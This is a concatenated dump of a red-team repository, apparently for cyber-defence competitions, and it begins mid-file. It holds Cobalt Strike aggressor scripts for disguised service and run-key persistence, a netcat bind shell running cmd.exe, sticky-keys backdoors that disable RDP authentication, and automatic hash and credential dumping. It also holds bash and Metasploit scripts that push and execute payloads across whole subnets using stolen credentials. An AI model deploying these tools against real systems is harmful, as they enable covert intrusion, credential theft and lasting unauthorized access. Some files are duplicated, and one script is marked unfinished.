exist :("); 62 | } 63 | } 64 | else { 65 | if (-exists script_resource("scorebot32.exe")) { 66 | blog($1, "Setting up Scorebot Service Persistence"); 67 | bcd($1, 'c:\windows'); 68 | bupload($1, script_resource("scorebot32.exe")); 69 | btimestomp($1, "scorebot32.exe", ".\\system32\\cmd.exe"); 70 | bshell($1, 'sc delete scorebot'); 71 | bshell($1, 'sc create scorebot binPath= "C:\windows\scorebot32.exe" start= auto DisplayName= "Scoring Engine Service"'); 72 | bshell($1, 'sc description scorebot "Scoring engine required for white team tracking uptime and services of the host."'); 73 | bshell($1, 'sc start scorebot'); 74 | } 75 | else { 76 | berror($1, "scorebot.exe does not exist :("); 77 | } 78 | } 79 | } 80 | sub persist_runkey_ie { 81 | if (beacon_info($1, 'is64') == 1) { 82 | if (-exists script_resource("jsdbgui.exe")) { 83 | blog($1, "Setting up run key persistence for jsdbgui.exe"); 84 | bcd($1, 'c:\\program files\\internet explorer'); 85 | bupload($1, script_resource("jsdbgui.exe")); 86 | btimestomp($1, "jsdbgui.exe", "jsdbgui.dll"); 87 | bshell($1, 'REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Java Script Debug GUI" /t REG_SZ /d "C:\Program Files\Internet Explorer\jsdbgui.exe" /f'); 88 | } 89 | else { 90 | berror($1, "jsdbgui.exe does not exist :("); 91 | } 92 | } 93 | else { 94 | if (-exists script_resource("jsdbgui32.exe")) { 95 | blog($1, "Setting up run key persistence for jsdbgui.exe"); 96 | bcd($1, 'c:\\program files\\internet explorer'); 97 | bupload($1, script_resource("jsdbgui32.exe")); 98 | bshell($1, "move c:\\program files\\internet explorer\\jsdbgui32.exe c:\\program files\\internet explorer\\jsdbgui.exe"); 99 | btimestomp($1, "jsdbgui.exe", "jsdbgui.dll"); 100 | bshell($1, 'REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Java Script Debug GUI" /t REG_SZ /d "C:\Program Files\Internet Explorer\jsdbgui.exe" /f'); 101 | } 102 | else { 103 | berror($1, "jsdbgui32.exe does not exist :("); 104 | } 105 | } 106 | } 107 | sub persist_runkey_netcat { 108 | if (-exists script_resource("vmtools.exe")) { 109 | blog($1, "Setting up run key persistence for vmtools.exe"); 110 | bcd($1, 'c:\\program files\\vmware\\vmware tools'); 111 | bupload($1, script_resource("vmtools.exe")); ### copy /usr/share/windows-binaries/nc.exe to script directory 112 | btimestomp($1, "vmtools.exe", "vmtoolsd.exe"); 113 | bshell($1, 'REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "VMware Tools" /t REG_SZ /d "C:\Program Files\Internet Explorer\vmtools.exe -lp 8080 -e cmd.exe" /f'); 114 | } 115 | else { 116 | berror($1, "vmtools.exe does not exist :("); 117 | } 118 | } 119 | sub stickykeys { 120 | binput($1, 'Running setup for StickyKeys'); 121 | bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'); 122 | bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe" /f'); 123 | bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f'); 124 | bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DisplaySwitch.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f'); 125 | bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d "0" /f'); 126 | bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f'); 127 | bshell($1, 'netsh firewall set service type = remotedesktop mode = enable'); 128 | bshell($1, 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes'); 129 | bshell($1, 'net start TermService'); 130 | binput($1, 'Running setup for PSRemoting'); 131 | bpowershell($1, 'Enable-PSRemoting -Force'); 132 | 133 | } 134 | sub persist_diagsvc { 135 | if (beacon_info($1, 'is64') == 1) { 136 | if (-exists script_resource("diagsvc.exe")) { 137 | blog($1, "Setting up 'Diagnostic System Manager Service Persistence'"); 138 | bcd($1, 'c:\windows'); 139 | bupload($1, script_resource("diagsvc.exe")); 140 | btimestomp($1, "diagsvc.exe", "cmd.exe"); 141 | bshell($1, 'sc delete diagsvc'); 142 | bshell($1, 'sc create diagsvc binPath= "C:\windows\diagsvc.exe" start= auto DisplayName= "Diagnostic System Manager"'); 143 | bshell($1, 'sc description diagsvc "The Diagnostic System Manager is used by the Diagnostic System Host service to manage diagnostics and run in a system context. If this service is stopped any diagnostics that depend on it will no longer function."'); 144 | } 145 | else { 146 | berror($1, "diagsvc.exe does not exist :("); 147 | } 148 | } 149 | else { 150 | if (-exists script_resource("diagsvc32.exe")) { 151 | blog($1, "Setting up 'Diagnostic System Manager Service Persistence'"); 152 | bcd($1, 'c:\windows'); 153 | bupload($1, script_resource("diagsvc32.exe")); 154 | btimestomp($1, "diagsvc32.exe", "cmd.exe"); 155 | bshell($1, 'sc delete diagsvc'); 156 | bshell($1, 'sc create diagsvc binPath= "C:\windows\diagsvc32.exe" start= auto DisplayName= "Diagnostic System Manager"'); 157 | bshell($1, 'sc description diagsvc "The Diagnostic System Manager is used by the Diagnostic System Host service to manage diagnostics and run in a system context. If this service is stopped any diagnostics that depend on it will no longer function."'); 158 | } 159 | else { 160 | berror($1, "diagsvc32.exe does not exist :("); 161 | } 162 | } 163 | } 164 | sub persist_unquotepath { 165 | if (beacon_info($1, 'is64') == 1) { 166 | if (-exists script_resource("program.exe")) { 167 | blog($1, "Setting up unquoted path persistence with c:\windows\program.exe"); 168 | bcd($1, 'c:\\'); 169 | bupload($1, script_resource("program.exe")); 170 | btimestomp($1, "program.exe", "c:\\windows\\explorer.exe"); 171 | } 172 | else { 173 | berror($1, "program.exe not found"); 174 | } 175 | } 176 | else { 177 | if (-exists script_resource("program32.exe")) { 178 | blog($1, "Setting up unquoted path persistence with c:\windows\program.exe"); 179 | bcd($1, 'c:\\'); 180 | bupload($1, script_resource("program32.exe")); 181 | bshell($1, "move c:\\program32.exe c:\\program.exe"); 182 | btimestomp($1, "program.exe", "c:\\windows\\explorer.exe"); 183 | } 184 | else { 185 | berror($1, "program32.exe not found"); 186 | } 187 | } 188 | } 189 | sub persistence { 190 | #if (some check == true then break before persisting 191 | persist_linkinfo($1); 192 | persist_runkey_ie($1); 193 | persist_runkey_netcat($1); 194 | stickykeys($1); 195 | persist_unquotepath($1); 196 | } 197 | on beacon_initial { 198 | bsleep($1, 15, 50); 199 | bwdigest($1); 200 | bhashdump($1); 201 | bsleep($1, 30, 50); 202 | persistence($1); 203 | } 204 | -------------------------------------------------------------------------------- /red-team/aggressor/killparents.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-ParentalKilling { 2 | $a = [System.Diagnostics.Process]::GetCurrentProcess() ## process id of spawned powershell process 3 | $b = gwmi win32_process | select Name,ProcessID,ParentProcessID | Where-Object {$_.ProcessID -contains $a.ID} 4 | $c = $b.ParentProcessID ## process id of current shell 5 | $d = gwmi win32_process | select Name,ProcessID,ParentProcessID | Where-Object {$_.ProcessID -contains $c} 6 | $e = $d.ParentProcessID ## parent pid of current shell (how I got on) 7 | $f = gwmi win32_process | select Name,ProcessID,ParentProcessID | Where-Object {$_.ProcessID -contains $e} 8 | If ($f.Name -like "cmd.exe") { 9 | Stop-Process -id $f.ProcessID 10 | Write-Host "Killed: $f" 11 | }ElseIf ($f.Name -like "winexesvc.exe") { 12 | Stop-Process -id $f.ProcessID 13 | Write-Host "Killed: $f" 14 | }ElseIf ($f.Name -like "powershell.exe") { 15 | Stop-Process -id $f.ProcessID 16 | Write-Host "Killed: $f" 17 | }} 18 | -------------------------------------------------------------------------------- /red-team/aggressor/persistence.cna: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Created by @jgaudard :: I don't twitter much 3 | # Aggressor script for persistence 4 | # !!! Must create executables for upload. !!! 5 | # Created: 3 March 2017 Modified: 28 Mar 2017 6 | # Version 2.1 7 | # 8 | # References: 9 | # https://blog.cobaltstrike.com/2016/03/16/my-cobalt-strike-scripts-from-neccdc/ 10 | # https://fixingitpro.com/2011/07/06/disabling-rdp-network-level-authentication-nla-remotely-via-the-registry/ 11 | # https://room362.com/post/2012/2012-05-24-sticky-keys-and-utilman-against-nla/ 12 | # https://www.commonexploits.com/unquoted-service-paths/ 13 | ######################################## 14 | 15 | sub stickykeys { 16 | binput($1, 'Running setup for StickyKeys'); 17 | bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'); 18 | bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe" /f'); 19 | bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f'); 20 | bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DisplaySwitch.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f'); 21 | bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d "0" /f'); 22 | bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f'); 23 | bshell($1, 'netsh firewall set service type = remotedesktop mode = enable'); 24 | bshell($1, 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes'); 25 | bshell($1, 'net start TermService'); 26 | binput($1, 'Running setup for PSRemoting'); 27 | bpowershell($1, 'Enable-PSRemoting -Force'); 28 | } 29 | 30 | sub persist_diagsvc { 31 | if (beacon_info($1, 'is64') == 1) { 32 | if (-exists script_resource("diagsvc.exe")) { 33 | blog($1, "Setting up 'Diagnostic System Manager Service Persistence'"); 34 | bcd($1, 'c:\windows'); 35 | bupload($1, script_resource("diagsvc.exe")); 36 | btimestomp($1, "diagsvc.exe", "cmd.exe"); 37 | bshell($1, 'sc delete diagsvc'); 38 | bshell($1, 'sc create diagsvc binPath= "C:\windows\diagsvc.exe" start= auto DisplayName= "Diagnostic System Manager"'); 39 | bshell($1, 'sc description diagsvc "The Diagnostic System Manager is used by the Diagnostic System Host service to manage diagnostics and run in a system context. If this service is stopped any diagnostics that depend on it will no longer function."'); 40 | } 41 | else { 42 | berror($1, "diagsvc.exe does not exist :("); 43 | } 44 | } 45 | else { 46 | if (-exists script_resource("diagsvc32.exe")) { 47 | blog($1, "Setting up 'Diagnostic System Manager Service Persistence'"); 48 | bcd($1, 'c:\windows'); 49 | bupload($1, script_resource("diagsvc32.exe")); 50 | btimestomp($1, "diagsvc32.exe", "cmd.exe"); 51 | bshell($1, 'sc delete diagsvc'); 52 | bshell($1, 'sc create diagsvc binPath= "C:\windows\diagsvc32.exe" start= auto DisplayName= "Diagnostic System Manager"'); 53 | bshell($1, 'sc description diagsvc "The Diagnostic System Manager is used by the Diagnostic System Host service to manage diagnostics and run in a system context. If this service is stopped any diagnostics that depend on it will no longer function."'); 54 | } 55 | else { 56 | berror($1, "diagsvc32.exe does not exist :("); 57 | } 58 | } 59 | } 60 | sub persist_runkey_ie { 61 | if (beacon_info($1, 'is64') == 1) { 62 | if (-exists script_resource("jsdbgui.exe")) { 63 | blog($1, "Setting up run key persistence for jsdbgui.exe"); 64 | bcd($1, 'c:\\program files\\internet explorer'); 65 | bupload($1, script_resource("jsdbgui.exe")); 66 | btimestomp($1, "jsdbgui.exe", "jsdbgui.dll"); 67 | bshell($1, 'REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Java Script Debug GUI" /t REG_SZ /d "C:\Program Files\Internet Explorer\jsdbgui.exe" /f'); 68 | } 69 | else { 70 | berror($1, "jsdbgui.exe does not exist :("); 71 | } 72 | } 73 | else { 74 | if (-exists script_resource("jsdbgui32.exe")) { 75 | blog($1, "Setting up run key persistence for jsdbgui.exe"); 76 | bcd($1, 'c:\\program files\\internet explorer'); 77 | bupload($1, script_resource("jsdbgui32.exe")); 78 | bshell($1, "move c:\\program files\\internet explorer\\jsdbgui32.exe c:\\program files\\internet explorer\\jsdbgui.exe"); 79 | btimestomp($1, "jsdbgui.exe", "jsdbgui.dll"); 80 | bshell($1, 'REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Java Script Debug GUI" /t REG_SZ /d "C:\Program Files\Internet Explorer\jsdbgui.exe" /f'); 81 | } 82 | else { 83 | berror($1, "jsdbgui32.exe does not exist :("); 84 | } 85 | } 86 | } 87 | sub persist_runkey_netcat { 88 | if (-exists script_resource("vmtools.exe")) { 89 | blog($1, "Setting up run key persistence for vmtools.exe"); 90 | bcd($1, 'c:\\program files\\vmware\\vmware tools'); 91 | bupload($1, script_resource("vmtools.exe")); ### copy /usr/share/windows-binaries/nc.exe to script directory 92 | btimestomp($1, "vmtools.exe", "vmtoolsd.exe"); 93 | bshell($1, 'REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "VMware Tools" /t REG_SZ /d "C:\Program Files\Internet Explorer\vmtools.exe -lp 8080 -e cmd.exe" /f'); 94 | } 95 | else { 96 | berror($1, "vmtools.exe does not exist :("); 97 | } 98 | } 99 | sub persist_scorebot { 100 | if (beacon_info($1, 'is64') == 1) { 101 | if (-exists script_resource("scorebot.exe")) { 102 | blog($1, "Setting up Scorebot Service Persistence"); 103 | bcd($1, 'c:\windows\system32'); 104 | bupload($1, script_resource("scorebot.exe")); 105 | btimestomp($1, "scorebot.exe", "cmd.exe"); 106 | bshell($1, 'sc delete scorebot'); 107 | bshell($1, 'sc create scorebot binPath= "C:\windows\scorebot.exe" start= auto DisplayName= "Scoring Engine Service"'); 108 | bshell($1, 'sc description scorebot "Scoring engine required for white team tracking uptime and services of the host."'); 109 | bshell($1, 'sc start scorebot'); 110 | } 111 | else { 112 | berror($1, "scorebot.exe does not exist :("); 113 | } 114 | } 115 | else { 116 | if (-exists script_resource("scorebot32.exe")) { 117 | blog($1, "Setting up Scorebot Service Persistence"); 118 | bcd($1, 'c:\windows'); 119 | bupload($1, script_resource("scorebot32.exe")); 120 | btimestomp($1, "scorebot32.exe", ".\\system32\\cmd.exe"); 121 | bshell($1, 'sc delete scorebot'); 122 | bshell($1, 'sc create scorebot binPath= "C:\windows\scorebot32.exe" start= auto DisplayName= "Scoring Engine Service"'); 123 | bshell($1, 'sc description scorebot "Scoring engine required for white team tracking uptime and services of the host."'); 124 | bshell($1, 'sc start scorebot'); 125 | } 126 | else { 127 | berror($1, "scorebot.exe does not exist :("); 128 | } 129 | } 130 | } 131 | 132 | sub persist_linkinfo { 133 | if (beacon_info($1, 'is64') == 1) { 134 | if (-exists script_resource("linkinfo.dll")) { 135 | blog($1, "Setting up linkinfo.dll persistence."); 136 | bcd($1, 'c:\windows'); 137 | bupload($1, script_resource("linkinfo.dll")); 138 | btimestomp($1, "linkinfo.dll", 'c:\\windows\\sysnative\\linkinfo.dll'); 139 | } 140 | else { 141 | berror($1, "linkinfo.dll not found."); 142 | } 143 | } 144 | else { 145 | if (-exists script_resource("linkinfo32.dll")) { 146 | blog($1, "Setting up linkinfo.dll persistence."); 147 | bcd($1, 'c:\windows'); 148 | bupload($1, script_resource("linkinfo32.dll")); 149 | bshell($1, "move c:\\windows\\linkinfo32.dll c:\\windows\\linkinfo.dll"); 150 | btimestomp($1, "linkinfo.dll", 'c:\\windows\\sysnative\\linkinfo.dll'); 151 | } 152 | else { 153 | berror($1, "linkinfo32.dll not found."); 154 | } 155 | } 156 | } 157 | sub persist_unquotepath { 158 | if (beacon_info($1, 'is64') == 1) { 159 | if (-exists script_resource("program.exe")) { 160 | blog($1, "Setting up unquoted path persistence with c:\windows\program.exe"); 161 | bcd($1, 'c:\\'); 162 | bupload($1, script_resource("program.exe")); 163 | btimestomp($1, "program.exe", "c:\\windows\\explorer.exe"); 164 | } 165 | else { 166 | berror($1, "program.exe not found"); 167 | } 168 | } 169 | else { 170 | if (-exists script_resource("program32.exe")) { 171 | blog($1, "Setting up unquoted path persistence with c:\windows\program.exe"); 172 | bcd($1, 'c:\\'); 173 | bupload($1, script_resource("program32.exe")); 174 | bshell($1, "move c:\\program32.exe c:\\program.exe"); 175 | btimestomp($1, "program.exe", "c:\\windows\\explorer.exe"); 176 | } 177 | else { 178 | berror($1, "program32.exe not found"); 179 | } 180 | } 181 | } 182 | sub persist_schjob { 183 | bshell($1, 'schtasks /create /TN "Windows Update" /SC ONLOGON /TR "\\127.0.0.1\update\update.exe"'); 184 | } 185 | 186 | popup beacon_top { 187 | menu "Persist" { 188 | item "Persist (scorebot)" { 189 | local('$bid'); 190 | foreach $bid ($1) { 191 | persist_scorebot($bid); 192 | } 193 | } 194 | item "Persist (linkinfo)" { 195 | local('$bid'); 196 | foreach $bid ($1) { 197 | persist_linkinfo($bid); 198 | } 199 | } 200 | item "Persist (diagsvc)" { 201 | local('$bid'); 202 | foreach $bid ($1) { 203 | persist_diagsvc($bid); 204 | } 205 | } 206 | item "Persist (runkey_ie)" { 207 | local('$bid'); 208 | foreach $bid ($1) { 209 | persist_runkey_ie($bid); 210 | } 211 | } 212 | item "Persist (runkey_netcat)" { 213 | local('$bid'); 214 | foreach $bid ($1) { 215 | persist_runkey_netcat($bid); 216 | } 217 | } 218 | item "Sticky Keys" { 219 | local('$bid'); 220 | foreach $bid ($1) { 221 | stickykeys($bid); 222 | } 223 | } 224 | item "Scheduled Job" { 225 | local('$bid'); 226 | foreach $bid ($1) { 227 | persist_schjob($bid); 228 | } 229 | } 230 | item "Unquoted Service Path" { 231 | local('$bid'); 232 | foreach $bid ($1) { 233 | persist_unquotepath($bid); 234 | } 235 | } 236 | } 237 | } 238 | -------------------------------------------------------------------------------- /red-team/bash/1: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Created by @jgaudard :: I don't twitter much 3 | # Creates a list of targets, requires nmap 4 | # Created: 23 April 2017 Modified: 5 | # Version 0.9 ## not working yet... 6 | ################################################# 7 | diii 8 | RANDOM="False" 9 | OUT="" 10 | TARGETS="" 11 | 12 | if [ "$1" == "" ] 13 | then 14 | echo "Usage ./targets.sh [options]" 15 | echo "Use -h or --help for more information" 16 | exit 0 17 | fi 18 | 19 | while [ "$1" != "" ]; do 20 | case $1 in 21 | -h|--help) 22 | echo "Usage ./targets.sh [options]" 23 | echo "" 24 | echo "-h, --help you are looking at it" 25 | echo "-r, --random randomize targets" 26 | echo "-w, --out output to file" 27 | echo "-t, --targets targets" 28 | echo "" 29 | echo "Examples:" 30 | echo " ./targets.sh -r -w targets.lst -t 192.168.0.0/24" 31 | 32 | 33 | exit 0 34 | ;; 35 | -r|--random) 36 | shift 37 | RANDOM="True" 38 | ;; 39 | -w|--out) 40 | shift 41 | OUT=$1 42 | ;; 43 | -t|--targets) 44 | shift 45 | TARGETS=$1 46 | ;; 47 | * ) 48 | break 49 | ;; 50 | esac 51 | shift 52 | done 53 | 54 | if [ RANDOM == "True" ] 55 | then 56 | /usr/bin/nmap --randomize-hosts -nsL $TARGETS | awk '{ print $5 }' | egrep [0-9] 57 | else 58 | /usr/bin/nmap -nsL $TARGETS | awk '{ print $5 }' | egrep [0-9] 59 | fi 60 | 61 | echo "$TARGETS" 62 | -------------------------------------------------------------------------------- /red-team/bash/targets.sh: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Created by @jgaudard :: I don't twitter much 3 | # Creates a list of targets, requires nmap 4 | # Created: 23 April 2017 Modified: 5 | # Version 0.9 ## not working yet... 6 | ################################################# 7 | diii 8 | RANDOM="False" 9 | OUT="" 10 | TARGETS="" 11 | 12 | if [ "$1" == "" ] 13 | then 14 | echo "Usage ./targets.sh [options]" 15 | echo "Use -h or --help for more information" 16 | exit 0 17 | fi 18 | 19 | while [ "$1" != "" ]; do 20 | case $1 in 21 | -h|--help) 22 | echo "Usage ./targets.sh [options]" 23 | echo "" 24 | echo "-h, --help you are looking at it" 25 | echo "-r, --random randomize targets" 26 | echo "-w, --out output to file" 27 | echo "-t, --targets targets" 28 | echo "" 29 | echo "Examples:" 30 | echo " ./targets.sh -r -w targets.lst -t 192.168.0.0/24" 31 | 32 | 33 | exit 0 34 | ;; 35 | -r|--random) 36 | shift 37 | RANDOM="True" 38 | ;; 39 | -w|--out) 40 | shift 41 | OUT=$1 42 | ;; 43 | -t|--targets) 44 | shift 45 | TARGETS=$1 46 | ;; 47 | * ) 48 | break 49 | ;; 50 | esac 51 | shift 52 | done 53 | 54 | if [ RANDOM == "True" ] 55 | then 56 | /usr/bin/nmap --randomize-hosts -nsL $TARGETS | awk '{ print $5 }' | egrep [0-9] 57 | else 58 | /usr/bin/nmap -nsL $TARGETS | awk '{ print $5 }' | egrep [0-9] 59 | fi 60 | 61 | echo "$TARGETS" 62 | -------------------------------------------------------------------------------- /red-team/bash/wmicCopyExecute.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ################################################# 4 | # Created by @jgaudard :: I don't twitter much 5 | # Used wmic to execute an exe payload. 6 | # Created: 18 June 2016 Edited: 23 June 2016 7 | # Version 3.0 8 | ################################################# 9 | 10 | clear 11 | echo "Checking dependencies...." 12 | which winexe 1> /dev/nul || echo "You need winexe to run this script" 13 | which mount.cifs 1> /dev/nul || echo "You need mount.cifs to run this script, apt-get install cifs-utils to install" 14 | sleep 2 15 | clear 16 | 17 | cat << "EOF" 18 | _ _ _ ___ __ __ __ 19 | __ ___ __ ___ (_) ___ /_\ _ _| |_ ___ / _ \/ / /\ \ \/\ \ \ 20 | \ \ /\ / / '_ ` _ \| |/ __| //_\\| | | | __/ _ \ / /_)/\ \/ \/ / \/ / 21 | \ V V /| | | | | | | (__ / _ \ |_| | || (_) / ___/ \ /\ / /\ / 22 | \_/\_/ |_| |_| |_|_|\___| \_/ \_/\__,_|\__\___/\/ \/ \/\_\ \/ 23 | 24 | EOF 25 | 26 | echo "### Menu ###`echo $'\n '`" 27 | echo "Select from menu:`echo $'\n '`" 28 | echo "0) Exit please, I messed something up" 29 | echo "1) Single target" 30 | echo "2) Multiple targets" 31 | echo "3) Entire Class C" 32 | read -p "WAP> " menu 33 | clear 34 | 35 | if [ $menu == 0 ]; then 36 | echo "Exiting...." 37 | exit 38 | fi 39 | 40 | read -p "What is the local path of the binary?: " lpath 41 | read -p "What is the name of your binary?: " binary 42 | read -p "Checking for /mnt/targetdrive, ctrl+c to excape." 43 | 44 | [ -f /mnt/targetdrive ] && echo "/mnt/targetdrive already exists. Going to mount target drive to this path." || echo "Creating and mounting /mnt/targetdrive"; mkdir -p /mnt/targetdrive 45 | 46 | if [ $menu == 1 ]; then 47 | read -p "What is the target host's IP?: " ipaddy 48 | read -p "What is the targets username?: " username 49 | read -p "What is the targets password?: " password 50 | 51 | mount.cifs //$ipaddy/C$ /mnt/targetdrive -o user=$username,password=$password 52 | 53 | cp $lpath/$binary /mnt/targetdrive/windows/temp 54 | winexe -U "$username%$password" //$ipaddy ipconfig 55 | winexe -U "$username%$password" //$ipaddy "wmic os list brief" 56 | winexe -U "$username%$password" //$ipaddy "wmic process call create c:\\windows\\temp\\$binary" 57 | umount /mnt/targetdrive 58 | exit 1; 59 | elif [ $menu == 2 ]; then 60 | echo "Enter ip addresses separated by a space ie." 61 | echo "192.168.1.33 177.33.1.5 1.40.33.37" 62 | read -p ": " multiip 63 | read -p "Username: " username 64 | read -p "Password: " password 65 | 66 | for ip in $multiip ; do 67 | mount.cifs //$ip/C$ /mnt/targetdrive -o user="$username",password="$password" 68 | cp $lpath/$binary /mnt/targetdrive/windows/temp 69 | winexe -U "$username%$password" //$ip ipconfig 70 | winexe -U "$username%$password" //$ip "wmic os list brief" 71 | winexe -U "$username%$password" //$ip "wmic process call create c:\\windows\\temp\\$binary" 72 | umount /mnt/targetdrive 73 | done 74 | exit 0; 75 | elif [ $menu == 3 ]; then 76 | echo "Enter the username." 77 | read -p ": " username 78 | echo "Enter the password." 79 | read -p ": " password 80 | echo "Enter the subnet, ie 192.168.1 or 172.16.5" 81 | read -p ": " subnet 82 | for ip in {43..66}; do 83 | ping -c 1 $subnet.$ip 1> /dev/nul || continue 84 | mount.cifs //$subnet.$ip/C$ /mnt/targetdrive -o user="$username",password="$password" 85 | cp $lpath/$binary /mnt/targetdrive/windows/temp 86 | winexe -U "$username%$password" //$subnet.$ip ipconfig 87 | winexe -U "$username%$password" //$subnet.$ip "wmic os list brief" 88 | winexe -U "$username%$password" //$subnet.$ip "wmic process call create c:\\windows\\temp\\$binary" 89 | umount /mnt/targetdrive 90 | done 91 | exit 0; 92 | 93 | else 94 | echo "Invalid option." 95 | 96 | fi 97 | exit 0 98 | -------------------------------------------------------------------------------- /red-team/f_with_blue.txt: -------------------------------------------------------------------------------- 1 | reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v DefaultTTL /t REG_DWORD /F /d 1 2 | https://docs.microsoft.com/en-us/sysinternals/downloads/notmyfault 3 | -------------------------------------------------------------------------------- /red-team/msf/README: -------------------------------------------------------------------------------- 1 | These are metasploit scripts. 2 | -------------------------------------------------------------------------------- /red-team/msf/auto_post.rc: -------------------------------------------------------------------------------- 1 | ####################################################### 2 | # Created by @jgaudard 3 | # Uses mubix's run_all_post.rc resource file to run multiple post exploitation modules against all sessions. 4 | # Does post exploitation things... 5 | # Created: 15 September 2014 Edited: 30 April 2016 6 | # Version 1.9 7 | ####################################################### 8 | 9 | 10 | 11 | lhost = "192.168.1.33" 12 | lport = "443" 13 | 14 | ### Used for stickykeys persistence ### 15 | targetfile = "c:\\\\windows\\\\system32\\\\com\\\\comrepm.bat" 16 | backdoor = "/root/veil-output/source/backdoor4.bat" 17 | 18 | 19 | ### These are the post exploitation scripts which will be ran. 20 | posts = ["post/windows/escalate/getsystem", 21 | "post/windows/manage/smart_migrate", 22 | "post/windows/gather/smart_hashdump", 23 | "post/windows/gather/lsa_secrets", 24 | "post/windows/gather/credentials/credential_collector", 25 | ] 26 | 27 | 28 | ### Sets global variables 29 | run_single("setg LHOST #{lhost}") 30 | run_single("setg LPORT #{lport}") 31 | 32 | ### For each post module, run on each session ### 33 | posts.each do|d| 34 | print_status("Starting....oh, hello #{d}") 35 | run_single("use #{d}") 36 | run_single("resource /usr/share/metasploit-framework/scripts/resource/run_all_post.rc") 37 | end 38 | 39 | 40 | ### For each session do these things... ### 41 | 42 | 43 | framework.sessions.each do |num,session| 44 | print_status("Running registry persistence against session #{num}") 45 | run_single("use exploit/windows/local/registry_persistence") 46 | run_single("set STARTUP SYSTEM") 47 | run_single("set LHOST #{lhost}") 48 | run_single("set LPORT #{lport}") 49 | run_single("set SESSION #{num}") 50 | run_single("exploit -z") 51 | 52 | #print_status("Running persistence against session #{num}") 53 | #run_single("use exploit/windows/local/persistence") 54 | #run_single("set STARTUP SYSTEM") 55 | #run_single("set LHOST #{lhost}") 56 | #run_single("set LPORT #{lport}") 57 | #run_single("set SESSION #{num}") 58 | #run_single("exploit -z") 59 | 60 | ### Upload a file to use for Sticky Keys ### 61 | 62 | session.fs.file.upload_file("#{targetfile}","#{backdoor}") 63 | 64 | ### Sticky Keys ### 65 | run_single("use post/windows/manage/sticky_keys") 66 | run_single("set EXE #{targetfile}") 67 | run_single("set SESSION #{num}") 68 | run_single("exploit -z") 69 | end 70 | 71 | 72 | -------------------------------------------------------------------------------- /red-team/msf/autoruncommands.rc: -------------------------------------------------------------------------------- 1 | ####################################################### 2 | # Created by @jgaudard 3 | # Uses AutoRunScript 4 | # !!! Does not appear to work, use auto_post.rc !!! 5 | # Created: 30 April 2016 Edited: 30 April 2016 6 | # Version 0.1 7 | ####################################################### 8 | 9 | run post/windows/escalate/getsystem 10 | run post/windows/manage/smart_migrate 11 | run post/windows/gather/credentials/credential_collector 12 | run post/windows/gather/lsa_secrets 13 | 14 | -------------------------------------------------------------------------------- /red-team/msf/initial_access.rc: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Created by @jgaudard 3 | # Resource file for metasploit 4 | # Auto exploits with psexec, must setup samba share as written 5 | # Created: 9 March 2017 Edited: never 6 | # Version 1.0 7 | ################################################# 8 | 9 | 10 | 11 | #### Don't forget to set your variables #### 12 | targets = "192.168.1-10.1-100" 13 | command = "\\share\payload.bat" 14 | user = "administrator" 15 | pass = "password" 16 | threads = "100" 17 | 18 | run_single("use auxiliary/admin/smb/psexec_command") 19 | run_single("set COMMAND #{command}") 20 | run_single("set RHOSTS #{targets}") 21 | run_single("set SMBPass #{pass}") 22 | run_single("set SMBUser #{user}") 23 | run_single("set THREADS #{threads}") 24 | run_single("exploit") 25 | 26 | 27 | 28 | 29 | ############################################## 30 | ################ Notes ####################### 31 | # 1. Setup samba share: https://wiki.samba.org/index.php/Setting_up_Samba_as_a_Standalone_Server 32 | # edit /etc/samba/smb.conf #add anon part to the bottom after creating a backup 33 | # 2. create payload.bat 34 | # add powershell download and execute from cobaltstrike 35 | # 3. start msfconsole 36 | # 4. run resource file "resource initial_access.rc" 37 | ############################################## 38 | 39 | 40 | 41 